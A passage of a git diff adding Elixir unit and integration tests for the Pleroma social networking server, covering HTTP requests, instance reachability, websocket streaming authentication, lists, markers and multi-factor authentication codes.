do + test "don't send pleroma user agent" do + assert RequestBuilder.headers(%Request{}, []) == %Request{headers: []} + end + + test "send pleroma user agent" do + clear_config([:http, :send_user_agent], true) + clear_config([:http, :user_agent], :default) + + assert RequestBuilder.headers(%Request{}, []) == %Request{ + headers: [{"user-agent", Pleroma.Application.user_agent()}] + } + end + + test "send custom user agent" do + clear_config([:http, :send_user_agent], true) + clear_config([:http, :user_agent], "totally-not-pleroma") + + assert RequestBuilder.headers(%Request{}, []) == %Request{ + headers: [{"user-agent", "totally-not-pleroma"}] + } + end + end + + describe "add_param/4" do + test "add file parameter" do + %Request{ + body: %Tesla.Multipart{ + boundary: _, + content_type_params: [], + parts: [ + %Tesla.Multipart.Part{ + body: %File.Stream{ + line_or_bytes: 2048, + modes: [:raw, :read_ahead, :read, :binary], + path: "some-path/filename.png", + raw: true + }, + dispositions: [name: "filename.png", filename: "filename.png"], + headers: [] + } + ] + } + } = RequestBuilder.add_param(%Request{}, :file, "filename.png", "some-path/filename.png") + end + + test "add key to body" do + %{ + body: %Tesla.Multipart{ + boundary: _, + content_type_params: [], + parts: [ + %Tesla.Multipart.Part{ + body: "\"someval\"", + dispositions: [name: "somekey"], + headers: [{"content-type", "application/json"}] + } + ] + } + } = RequestBuilder.add_param(%{}, :body, "somekey", "someval") + end + + test "add form parameter" do + assert RequestBuilder.add_param(%{}, :form, "somename", "someval") == %{ + body: %{"somename" => "someval"} + } + end + + test "add for location" do + assert RequestBuilder.add_param(%{}, :some_location, "somekey", "someval") == %{ + some_location: [{"somekey", "someval"}] + } + end + end +end diff --git a/test/pleroma/http_test.exs b/test/pleroma/http_test.exs new file mode 100644 index 000000000..d394bb942 --- /dev/null +++ b/test/pleroma/http_test.exs @@ -0,0 +1,70 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTPTest do + use ExUnit.Case, async: true + use Pleroma.Tests.Helpers + import Tesla.Mock + alias Pleroma.HTTP + + setup do + mock(fn + %{ + method: :get, + url: "http://example.com/hello", + headers: [{"content-type", "application/json"}] + } -> + json(%{"my" => "data"}) + + %{method: :head, url: "http://example.com/hello"} -> + %Tesla.Env{status: 200, body: ""} + + %{method: :get, url: "http://example.com/hello"} -> + %Tesla.Env{status: 200, body: "hello"} + + %{method: :post, url: "http://example.com/world"} -> + %Tesla.Env{status: 200, body: "world"} + end) + + :ok + end + + describe "head/1" do + test "returns successfully result" do + assert HTTP.head("http://example.com/hello") == {:ok, %Tesla.Env{status: 200, body: ""}} + end + end + + describe "get/1" do + test "returns successfully result" do + assert HTTP.get("http://example.com/hello") == { + :ok, + %Tesla.Env{status: 200, body: "hello"} + } + end + end + + describe "get/2 (with headers)" do + test "returns successfully result for json content-type" do + assert HTTP.get("http://example.com/hello", [{"content-type", "application/json"}]) == + { + :ok, + %Tesla.Env{ + status: 200, + body: "{\"my\":\"data\"}", + headers: [{"content-type", "application/json"}] + } + } + end + end + + describe "post/2" do + test "returns successfully result" do + assert HTTP.post("http://example.com/world", "") == { + :ok, + %Tesla.Env{status: 200, body: "world"} + } + end + end +end diff --git a/test/pleroma/instances/instance_test.exs b/test/pleroma/instances/instance_test.exs new file mode 100644 index 000000000..4f0805100 --- /dev/null +++ b/test/pleroma/instances/instance_test.exs @@ -0,0 +1,152 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Instances.InstanceTest do + alias Pleroma.Instances.Instance + alias Pleroma.Repo + + use Pleroma.DataCase + + import ExUnit.CaptureLog + import Pleroma.Factory + + setup_all do: clear_config([:instance, :federation_reachability_timeout_days], 1) + + describe "set_reachable/1" do + test "clears `unreachable_since` of existing matching Instance record having non-nil `unreachable_since`" do + unreachable_since = NaiveDateTime.to_iso8601(NaiveDateTime.utc_now()) + instance = insert(:instance, unreachable_since: unreachable_since) + + assert {:ok, instance} = Instance.set_reachable(instance.host) + refute instance.unreachable_since + end + + test "keeps nil `unreachable_since` of existing matching Instance record having nil `unreachable_since`" do + instance = insert(:instance, unreachable_since: nil) + + assert {:ok, instance} = Instance.set_reachable(instance.host) + refute instance.unreachable_since + end + + test "does NOT create an Instance record in case of no existing matching record" do + host = "domain.org" + assert nil == Instance.set_reachable(host) + + assert [] = Repo.all(Ecto.Query.from(i in Instance)) + assert Instance.reachable?(host) + end + end + + describe "set_unreachable/1" do + test "creates new record having `unreachable_since` to current time if record does not exist" do + assert {:ok, instance} = Instance.set_unreachable("https://domain.com/path") + + instance = Repo.get(Instance, instance.id) + assert instance.unreachable_since + assert "domain.com" == instance.host + end + + test "sets `unreachable_since` of existing record having nil `unreachable_since`" do + instance = insert(:instance, unreachable_since: nil) + refute instance.unreachable_since + + assert {:ok, _} = Instance.set_unreachable(instance.host) + + instance = Repo.get(Instance, instance.id) + assert instance.unreachable_since + end + + test "does NOT modify `unreachable_since` value of existing record in case it's present" do + instance = + insert(:instance, unreachable_since: NaiveDateTime.add(NaiveDateTime.utc_now(), -10)) + + assert instance.unreachable_since + initial_value = instance.unreachable_since + + assert {:ok, _} = Instance.set_unreachable(instance.host) + + instance = Repo.get(Instance, instance.id) + assert initial_value == instance.unreachable_since + end + end + + describe "set_unreachable/2" do + test "sets `unreachable_since` value of existing record in case it's newer than supplied value" do + instance = + insert(:instance, unreachable_since: NaiveDateTime.add(NaiveDateTime.utc_now(), -10)) + + assert instance.unreachable_since + + past_value = NaiveDateTime.add(NaiveDateTime.utc_now(), -100) + assert {:ok, _} = Instance.set_unreachable(instance.host, past_value) + + instance = Repo.get(Instance, instance.id) + assert past_value == instance.unreachable_since + end + + test "does NOT modify `unreachable_since` value of existing record in case it's equal to or older than supplied value" do + instance = + insert(:instance, unreachable_since: NaiveDateTime.add(NaiveDateTime.utc_now(), -10)) + + assert instance.unreachable_since + initial_value = instance.unreachable_since + + assert {:ok, _} = Instance.set_unreachable(instance.host, NaiveDateTime.utc_now()) + + instance = Repo.get(Instance, instance.id) + assert initial_value == instance.unreachable_since + end + end + + describe "get_or_update_favicon/1" do + test "Scrapes favicon URLs" do + Tesla.Mock.mock(fn %{url: "https://favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: ~s[] + } + end) + + assert "https://favicon.example.org/favicon.png" == + Instance.get_or_update_favicon(URI.parse("https://favicon.example.org/")) + end + + test "Returns nil on too long favicon URLs" do + long_favicon_url = + "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" + + Tesla.Mock.mock(fn %{url: "https://long-favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: + ~s[] + } + end) + + assert capture_log(fn -> + assert nil == + Instance.get_or_update_favicon( + URI.parse("https://long-favicon.example.org/") + ) + end) =~ + "Instance.get_or_update_favicon(\"long-favicon.example.org\") error: %Postgrex.Error{" + end + + test "Handles not getting a favicon URL properly" do + Tesla.Mock.mock(fn %{url: "https://no-favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: ~s[

I wil look down and whisper "GNO.."

] + } + end) + + refute capture_log(fn -> + assert nil == + Instance.get_or_update_favicon( + URI.parse("https://no-favicon.example.org/") + ) + end) =~ "Instance.scrape_favicon(\"https://no-favicon.example.org/\") error: " + end + end +end diff --git a/test/pleroma/instances_test.exs b/test/pleroma/instances_test.exs new file mode 100644 index 000000000..d2618025c --- /dev/null +++ b/test/pleroma/instances_test.exs @@ -0,0 +1,124 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.InstancesTest do + alias Pleroma.Instances + + use Pleroma.DataCase + + setup_all do: clear_config([:instance, :federation_reachability_timeout_days], 1) + + describe "reachable?/1" do + test "returns `true` for host / url with unknown reachability status" do + assert Instances.reachable?("unknown.site") + assert Instances.reachable?("http://unknown.site") + end + + test "returns `false` for host / url marked unreachable for at least `reachability_datetime_threshold()`" do + host = "consistently-unreachable.name" + Instances.set_consistently_unreachable(host) + + refute Instances.reachable?(host) + refute Instances.reachable?("http://#{host}/path") + end + + test "returns `true` for host / url marked unreachable for less than `reachability_datetime_threshold()`" do + url = "http://eventually-unreachable.name/path" + + Instances.set_unreachable(url) + + assert Instances.reachable?(url) + assert Instances.reachable?(URI.parse(url).host) + end + + test "returns true on non-binary input" do + assert Instances.reachable?(nil) + assert Instances.reachable?(1) + end + end + + describe "filter_reachable/1" do + setup do + host = "consistently-unreachable.name" + url1 = "http://eventually-unreachable.com/path" + url2 = "http://domain.com/path" + + Instances.set_consistently_unreachable(host) + Instances.set_unreachable(url1) + + result = Instances.filter_reachable([host, url1, url2, nil]) + %{result: result, url1: url1, url2: url2} + end + + test "returns a map with keys containing 'not marked consistently unreachable' elements of supplied list", + %{result: result, url1: url1, url2: url2} do + assert is_map(result) + assert Enum.sort([url1, url2]) == result |> Map.keys() |> Enum.sort() + end + + test "returns a map with `unreachable_since` values for keys", + %{result: result, url1: url1, url2: url2} do + assert is_map(result) + assert %NaiveDateTime{} = result[url1] + assert is_nil(result[url2]) + end + + test "returns an empty map for empty list or list containing no hosts / url" do + assert %{} == Instances.filter_reachable([]) + assert %{} == Instances.filter_reachable([nil]) + end + end + + describe "set_reachable/1" do + test "sets unreachable url or host reachable" do + host = "domain.com" + Instances.set_consistently_unreachable(host) + refute Instances.reachable?(host) + + Instances.set_reachable(host) + assert Instances.reachable?(host) + end + + test "keeps reachable url or host reachable" do + url = "https://site.name?q=" + assert Instances.reachable?(url) + + Instances.set_reachable(url) + assert Instances.reachable?(url) + end + + test "returns error status on non-binary input" do + assert {:error, _} = Instances.set_reachable(nil) + assert {:error, _} = Instances.set_reachable(1) + end + end + + # Note: implementation-specific (e.g. Instance) details of set_unreachable/1 + # should be tested in implementation-specific tests + describe "set_unreachable/1" do + test "returns error status on non-binary input" do + assert {:error, _} = Instances.set_unreachable(nil) + assert {:error, _} = Instances.set_unreachable(1) + end + end + + describe "set_consistently_unreachable/1" do + test "sets reachable url or host unreachable" do + url = "http://domain.com?q=" + assert Instances.reachable?(url) + + Instances.set_consistently_unreachable(url) + refute Instances.reachable?(url) + end + + test "keeps unreachable url or host unreachable" do + host = "site.name" + Instances.set_consistently_unreachable(host) + refute Instances.reachable?(host) + + Instances.set_consistently_unreachable(host) + refute Instances.reachable?(host) + end + end +end diff --git a/test/pleroma/integration/federation_test.exs b/test/pleroma/integration/federation_test.exs new file mode 100644 index 000000000..10d71fb88 --- /dev/null +++ b/test/pleroma/integration/federation_test.exs @@ -0,0 +1,47 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Integration.FederationTest do + use Pleroma.DataCase + @moduletag :federated + import Pleroma.Cluster + + setup_all do + Pleroma.Cluster.spawn_default_cluster() + :ok + end + + @federated1 :"federated1@127.0.0.1" + describe "federated cluster primitives" do + test "within/2 captures local bindings and executes block on remote node" do + captured_binding = :captured + + result = + within @federated1 do + user = Pleroma.Factory.insert(:user) + {captured_binding, node(), user} + end + + assert {:captured, @federated1, user} = result + refute Pleroma.User.get_by_id(user.id) + assert user.id == within(@federated1, do: Pleroma.User.get_by_id(user.id)).id + end + + test "runs webserver on customized port" do + {nickname, url, url_404} = + within @federated1 do + import Pleroma.Web.Router.Helpers + user = Pleroma.Factory.insert(:user) + user_url = account_url(Pleroma.Web.Endpoint, :show, user) + url_404 = account_url(Pleroma.Web.Endpoint, :show, "not-exists") + + {user.nickname, user_url, url_404} + end + + assert {:ok, {{_, 200, _}, _headers, body}} = :httpc.request(~c"#{url}") + assert %{"acct" => ^nickname} = Jason.decode!(body) + assert {:ok, {{_, 404, _}, _headers, _body}} = :httpc.request(~c"#{url_404}") + end + end +end diff --git a/test/pleroma/integration/mastodon_websocket_test.exs b/test/pleroma/integration/mastodon_websocket_test.exs new file mode 100644 index 000000000..0f2e6cc2b --- /dev/null +++ b/test/pleroma/integration/mastodon_websocket_test.exs @@ -0,0 +1,128 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Integration.MastodonWebsocketTest do + use Pleroma.DataCase + + import ExUnit.CaptureLog + import Pleroma.Factory + + alias Pleroma.Integration.WebsocketClient + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.OAuth + + @moduletag needs_streamer: true, capture_log: true + + @path Pleroma.Web.Endpoint.url() + |> URI.parse() + |> Map.put(:scheme, "ws") + |> Map.put(:path, "/api/v1/streaming") + |> URI.to_string() + + def start_socket(qs \\ nil, headers \\ []) do + path = + case qs do + nil -> @path + qs -> @path <> qs + end + + WebsocketClient.start_link(self(), path, headers) + end + + test "refuses invalid requests" do + capture_log(fn -> + assert {:error, {404, _}} = start_socket() + assert {:error, {404, _}} = start_socket("?stream=ncjdk") + Process.sleep(30) + end) + end + + test "requires authentication and a valid token for protected streams" do + capture_log(fn -> + assert {:error, {401, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa") + assert {:error, {401, _}} = start_socket("?stream=user") + Process.sleep(30) + end) + end + + test "allows public streams without authentication" do + assert {:ok, _} = start_socket("?stream=public") + assert {:ok, _} = start_socket("?stream=public:local") + assert {:ok, _} = start_socket("?stream=hashtag&tag=lain") + end + + test "receives well formatted events" do + user = insert(:user) + {:ok, _} = start_socket("?stream=public") + {:ok, activity} = CommonAPI.post(user, %{status: "nice echo chamber"}) + + assert_receive {:text, raw_json}, 1_000 + assert {:ok, json} = Jason.decode(raw_json) + + assert "update" == json["event"] + assert json["payload"] + assert {:ok, json} = Jason.decode(json["payload"]) + + view_json = + Pleroma.Web.MastodonAPI.StatusView.render("show.json", activity: activity, for: nil) + |> Jason.encode!() + |> Jason.decode!() + + assert json == view_json + end + + describe "with a valid user token" do + setup do + {:ok, app} = + Pleroma.Repo.insert( + OAuth.App.register_changeset(%OAuth.App{}, %{ + client_name: "client", + scopes: ["read"], + redirect_uris: "url" + }) + ) + + user = insert(:user) + + {:ok, auth} = OAuth.Authorization.create_authorization(app, user) + + {:ok, token} = OAuth.Token.exchange_token(app, auth) + + %{user: user, token: token} + end + + test "accepts valid tokens", state do + assert {:ok, _} = start_socket("?stream=user&access_token=#{state.token.token}") + end + + test "accepts the 'user' stream", %{token: token} = _state do + assert {:ok, _} = start_socket("?stream=user&access_token=#{token.token}") + + capture_log(fn -> + assert {:error, {401, _}} = start_socket("?stream=user") + Process.sleep(30) + end) + end + + test "accepts the 'user:notification' stream", %{token: token} = _state do + assert {:ok, _} = start_socket("?stream=user:notification&access_token=#{token.token}") + + capture_log(fn -> + assert {:error, {401, _}} = start_socket("?stream=user:notification") + Process.sleep(30) + end) + end + + test "accepts valid token on Sec-WebSocket-Protocol header", %{token: token} do + assert {:ok, _} = start_socket("?stream=user", [{"Sec-WebSocket-Protocol", token.token}]) + + capture_log(fn -> + assert {:error, {401, _}} = + start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}]) + + Process.sleep(30) + end) + end + end +end diff --git a/test/pleroma/job_queue_monitor_test.exs b/test/pleroma/job_queue_monitor_test.exs new file mode 100644 index 000000000..65c1e9f29 --- /dev/null +++ b/test/pleroma/job_queue_monitor_test.exs @@ -0,0 +1,70 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.JobQueueMonitorTest do + use ExUnit.Case, async: true + + alias Pleroma.JobQueueMonitor + + @success {:process_event, :success, 1337, + %{ + args: %{"op" => "refresh_subscriptions"}, + attempt: 1, + id: 339, + max_attempts: 5, + queue: "federator_outgoing", + worker: "Pleroma.Workers.SubscriberWorker" + }} + + @failure {:process_event, :failure, 22_521_134, + %{ + args: %{"op" => "force_password_reset", "user_id" => "9nJG6n6Nbu7tj9GJX6"}, + attempt: 1, + error: %RuntimeError{message: "oops"}, + id: 345, + kind: :exception, + max_attempts: 1, + queue: "background", + stack: [ + {Pleroma.Workers.BackgroundWorker, :perform, 2, + [file: 'lib/pleroma/workers/background_worker.ex', line: 31]}, + {Oban.Queue.Executor, :safe_call, 1, + [file: 'lib/oban/queue/executor.ex', line: 42]}, + {:timer, :tc, 3, [file: 'timer.erl', line: 197]}, + {Oban.Queue.Executor, :call, 2, [file: 'lib/oban/queue/executor.ex', line: 23]}, + {Task.Supervised, :invoke_mfa, 2, [file: 'lib/task/supervised.ex', line: 90]}, + {:proc_lib, :init_p_do_apply, 3, [file: 'proc_lib.erl', line: 249]} + ], + worker: "Pleroma.Workers.BackgroundWorker" + }} + + test "stats/0" do + assert %{processed_jobs: _, queues: _, workers: _} = JobQueueMonitor.stats() + end + + test "handle_cast/2" do + state = %{workers: %{}, queues: %{}, processed_jobs: 0} + + assert {:noreply, state} = JobQueueMonitor.handle_cast(@success, state) + assert {:noreply, state} = JobQueueMonitor.handle_cast(@failure, state) + assert {:noreply, state} = JobQueueMonitor.handle_cast(@success, state) + assert {:noreply, state} = JobQueueMonitor.handle_cast(@failure, state) + + assert state == %{ + processed_jobs: 4, + queues: %{ + "background" => %{failure: 2, processed_jobs: 2, success: 0}, + "federator_outgoing" => %{failure: 0, processed_jobs: 2, success: 2} + }, + workers: %{ + "Pleroma.Workers.BackgroundWorker" => %{ + "force_password_reset" => %{failure: 2, processed_jobs: 2, success: 0} + }, + "Pleroma.Workers.SubscriberWorker" => %{ + "refresh_subscriptions" => %{failure: 0, processed_jobs: 2, success: 2} + } + } + } + end +end diff --git a/test/pleroma/keys_test.exs b/test/pleroma/keys_test.exs new file mode 100644 index 000000000..9e8528cba --- /dev/null +++ b/test/pleroma/keys_test.exs @@ -0,0 +1,24 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.KeysTest do + use Pleroma.DataCase + + alias Pleroma.Keys + + test "generates an RSA private key pem" do + {:ok, key} = Keys.generate_rsa_pem() + + assert is_binary(key) + assert Regex.match?(~r/RSA/, key) + end + + test "returns a public and private key from a pem" do + pem = File.read!("test/fixtures/private_key.pem") + {:ok, private, public} = Keys.keys_from_pem(pem) + + assert elem(private, 0) == :RSAPrivateKey + assert elem(public, 0) == :RSAPublicKey + end +end diff --git a/test/pleroma/list_test.exs b/test/pleroma/list_test.exs new file mode 100644 index 000000000..b5572cbae --- /dev/null +++ b/test/pleroma/list_test.exs @@ -0,0 +1,149 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ListTest do + alias Pleroma.Repo + use Pleroma.DataCase + + import Pleroma.Factory + + test "creating a list" do + user = insert(:user) + {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user) + %Pleroma.List{title: title} = Pleroma.List.get(list.id, user) + assert title == "title" + end + + test "validates title" do + user = insert(:user) + + assert {:error, changeset} = Pleroma.List.create("", user) + assert changeset.errors == [title: {"can't be blank", [validation: :required]}] + end + + test "getting a list not belonging to the user" do + user = insert(:user) + other_user = insert(:user) + {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user) + ret = Pleroma.List.get(list.id, other_user) + assert is_nil(ret) + end + + test "adding an user to a list" do + user = insert(:user) + other_user = insert(:user) + {:ok, list} = Pleroma.List.create("title", user) + {:ok, %{following: following}} = Pleroma.List.follow(list, other_user) + assert [other_user.follower_address] == following + end + + test "removing an user from a list" do + user = insert(:user) + other_user = insert(:user) + {:ok, list} = Pleroma.List.create("title", user) + {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user) + {:ok, %{following: following}} = Pleroma.List.unfollow(list, other_user) + assert [] == following + end + + test "renaming a list" do + user = insert(:user) + {:ok, list} = Pleroma.List.create("title", user) + {:ok, %{title: title}} = Pleroma.List.rename(list, "new") + assert "new" == title + end + + test "deleting a list" do + user = insert(:user) + {:ok, list} = Pleroma.List.create("title", user) + {:ok, list} = Pleroma.List.delete(list) + assert is_nil(Repo.get(Pleroma.List, list.id)) + end + + test "getting users in a list" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + {:ok, list} = Pleroma.List.create("title", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + {:ok, list} = Pleroma.List.follow(list, third_user) + {:ok, following} = Pleroma.List.get_following(list) + assert other_user in following + assert third_user in following + end + + test "getting all lists by an user" do + user = insert(:user) + other_user = insert(:user) + {:ok, list_one} = Pleroma.List.create("title", user) + {:ok, list_two} = Pleroma.List.create("other title", user) + {:ok, list_three} = Pleroma.List.create("third title", other_user) + lists = Pleroma.List.for_user(user, %{}) + assert list_one in lists + assert list_two in lists + refute list_three in lists + end + + test "getting all lists the user is a member of" do + user = insert(:user) + other_user = insert(:user) + {:ok, list_one} = Pleroma.List.create("title", user) + {:ok, list_two} = Pleroma.List.create("other title", user) + {:ok, list_three} = Pleroma.List.create("third title", other_user) + {:ok, list_one} = Pleroma.List.follow(list_one, other_user) + {:ok, list_two} = Pleroma.List.follow(list_two, other_user) + {:ok, list_three} = Pleroma.List.follow(list_three, user) + + lists = Pleroma.List.get_lists_from_activity(%Pleroma.Activity{actor: other_user.ap_id}) + assert list_one in lists + assert list_two in lists + refute list_three in lists + end + + test "getting own lists a given user belongs to" do + owner = insert(:user) + not_owner = insert(:user) + member_1 = insert(:user) + member_2 = insert(:user) + {:ok, owned_list} = Pleroma.List.create("owned", owner) + {:ok, not_owned_list} = Pleroma.List.create("not owned", not_owner) + {:ok, owned_list} = Pleroma.List.follow(owned_list, member_1) + {:ok, owned_list} = Pleroma.List.follow(owned_list, member_2) + {:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_1) + {:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_2) + + lists_1 = Pleroma.List.get_lists_account_belongs(owner, member_1) + assert owned_list in lists_1 + refute not_owned_list in lists_1 + lists_2 = Pleroma.List.get_lists_account_belongs(owner, member_2) + assert owned_list in lists_2 + refute not_owned_list in lists_2 + end + + test "get by ap_id" do + user = insert(:user) + {:ok, list} = Pleroma.List.create("foo", user) + assert Pleroma.List.get_by_ap_id(list.ap_id) == list + end + + test "memberships" do + user = insert(:user) + member = insert(:user) + {:ok, list} = Pleroma.List.create("foo", user) + {:ok, list} = Pleroma.List.follow(list, member) + + assert Pleroma.List.memberships(member) == [list.ap_id] + end + + test "member?" do + user = insert(:user) + member = insert(:user) + + {:ok, list} = Pleroma.List.create("foo", user) + {:ok, list} = Pleroma.List.follow(list, member) + + assert Pleroma.List.member?(list, member) + refute Pleroma.List.member?(list, user) + end +end diff --git a/test/pleroma/marker_test.exs b/test/pleroma/marker_test.exs new file mode 100644 index 000000000..7b3943c7b --- /dev/null +++ b/test/pleroma/marker_test.exs @@ -0,0 +1,78 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.MarkerTest do + use Pleroma.DataCase + alias Pleroma.Marker + + import Pleroma.Factory + + describe "multi_set_unread_count/3" do + test "returns multi" do + user = insert(:user) + + assert %Ecto.Multi{ + operations: [marker: {:run, _}, counters: {:run, _}] + } = + Marker.multi_set_last_read_id( + Ecto.Multi.new(), + user, + "notifications" + ) + end + + test "return empty multi" do + user = insert(:user) + multi = Ecto.Multi.new() + assert Marker.multi_set_last_read_id(multi, user, "home") == multi + end + end + + describe "get_markers/2" do + test "returns user markers" do + user = insert(:user) + marker = insert(:marker, user: user) + insert(:notification, user: user, activity: insert(:note_activity)) + insert(:notification, user: user, activity: insert(:note_activity)) + insert(:marker, timeline: "home", user: user) + + assert Marker.get_markers( + user, + ["notifications"] + ) == [%Marker{refresh_record(marker) | unread_count: 2}] + end + end + + describe "upsert/2" do + test "creates a marker" do + user = insert(:user) + + {:ok, %{"notifications" => %Marker{} = marker}} = + Marker.upsert( + user, + %{"notifications" => %{"last_read_id" => "34"}} + ) + + assert marker.timeline == "notifications" + assert marker.last_read_id == "34" + assert marker.lock_version == 0 + end + + test "updates exist marker" do + user = insert(:user) + marker = insert(:marker, user: user, last_read_id: "8909") + + {:ok, %{"notifications" => %Marker{}}} = + Marker.upsert( + user, + %{"notifications" => %{"last_read_id" => "9909"}} + ) + + marker = refresh_record(marker) + assert marker.timeline == "notifications" + assert marker.last_read_id == "9909" + assert marker.lock_version == 0 + end + end +end diff --git a/test/pleroma/mfa/backup_codes_test.exs b/test/pleroma/mfa/backup_codes_test.exs new file mode 100644 index 000000000..41adb1e96 --- /dev/null +++ b/test/pleroma/mfa/backup_codes_test.exs @@ -0,0 +1,15 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.MFA.BackupCodesTest do + use Pleroma.DataCase + + alias Pleroma.MFA.BackupCodes + + test "generate backup codes" do + codes = BackupCodes.generate(number_of_codes: 2, length: 4) + + assert [<<_::bytes-size(4)>>, <<_::bytes-size(4)>>] = codes + end +end diff --git a/test/pleroma/mfa/totp_test.exs b/test/pleroma/mfa/totp_test.exs new file mode 100644 index 000000000..9edb6fd54 --- /dev/null +++ b/test/pleroma/mfa/totp_test.exs @@ -0,0 +1,21 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.MFA.TOTPTest do + use Pleroma.DataCase + + alias Pleroma.MFA.TOTP + + test "create provisioning_uri to generate qrcode" do + uri = + TOTP.provisioning_uri("test-secrcet", "test@example.com", + issuer: "Plerome-42", + digits: 8, + period: 60 + ) + + assert uri == + "otpauth://totp/test@example.com?digits=8&issuer=Plerome-42&period=60&secret=test-secrcet" + end +end diff --git a/test/pleroma/mfa_test.exs b/test/pleroma/mfa_test.exs new file mode 100644 index 000000000..8875cefd9 --- /dev/null +++ b/test/pleroma/mfa_test.exs @@ -0,0 +1,52 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2018 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.MFATest do + use Pleroma.DataCase + + import Pleroma.Factory + alias Pleroma.MFA + + describe "mfa_settings" do + test "returns settings user's" do + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: "xx", confirmed: true} + } + ) + + settings = MFA.mfa_settings(user) + assert match?(^settings, %{enabled: true, totp: true}) + end + end + + describe "generate backup codes" do + test "returns backup codes" do + user = insert(:user) + + {:ok, [code1, code2]} = MFA.generate_backup_codes(user) + updated_user = refresh_record(user) + [hash1, hash2] = updated_user.multi_factor_authentication_settings.backup_codes + assert Pbkdf2.verify_pass(code1, hash1) + assert Pbkdf2.verify_pass(code2, hash2) + end + end + + describe "invalidate_backup_code" do + test "invalid used code" do + user = insert(:user) + + {:ok, _} = MFA.generate_backup_codes(user) + user = refresh_record(user) + assert length(user.multi_factor_authentication_settings.backup_codes) == 2 + [hash_code | _] = user.multi_factor_authentication_settings.backup_codes + + {:ok, user} = MFA.invalidate_backup_code(user, hash_code) + + assert length(user.multi_factor_authentication_settings.backup_codes) == 1 + end + end +end diff --git a/test/pleroma/migration_helper/notification_backfill_test.exs b/test/pleroma/migration_helper/notification_backfill_test.exs new file mode 100644 index 000000000..2a62a2b00 --- /dev/null +++ b/test/pleroma/migration_helper/notification_backfill_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.MigrationHelper.NotificationBackfillTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.MigrationHelper.NotificationBackfill + alias Pleroma.Notification + alias Pleroma.Repo + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "fill_in_notification_types" do + test "it fills in missing notification types" do + user = insert(:user) + other_user = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "yeah, @#{other_user.nickname}"}) + {:ok, chat} = CommonAPI.post_chat_message(user, other_user, "yo") + {:ok, react} = CommonAPI.react_with_emoji(post.id, other_user, "☕") + {:ok, like} = CommonAPI.favorite(other_user, post.id) + {:ok, react_2} = CommonAPI.react_with_emoji(post.id, other_user, "☕") + + data = + react_2.data + |> Map.put("type", "EmojiReaction") + + {:ok, react_2} = + react_2 + |> Activity.change(%{data: data}) + |> Repo.update() + + assert {5, nil} = Repo.update_all(Notification, set: [type: nil]) + + NotificationBackfill.fill_in_notification_types() + + assert %{type: "mention"} = + Repo.get_by(Notification, user_id: other_user.id, activity_id: post.id) + + assert %{type: "favourite"} = + Repo.get_by(Notification, user_id: user.id, activity_id: like.id) + + assert %{type: "pleroma:emoji_reaction"} = + Repo.get_by(Notification, user_id: user.id, activity_id: react.id) + + assert %{type: "pleroma:emoji_reaction"} = + Repo.get_by(Notification, user_id: user.id, activity_id: react_2.id) + + assert %{type: "pleroma:chat_mention"} = + Repo.get_by(Notification, user_id: other_user.id, activity_id: chat.id) + end + end +end diff --git a/test/pleroma/moderation_log_test.exs b/test/pleroma/moderation_log_test.exs new file mode 100644 index 000000000..59f4d67f8 --- /dev/null +++ b/test/pleroma/moderation_log_test.exs @@ -0,0 +1,297 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# 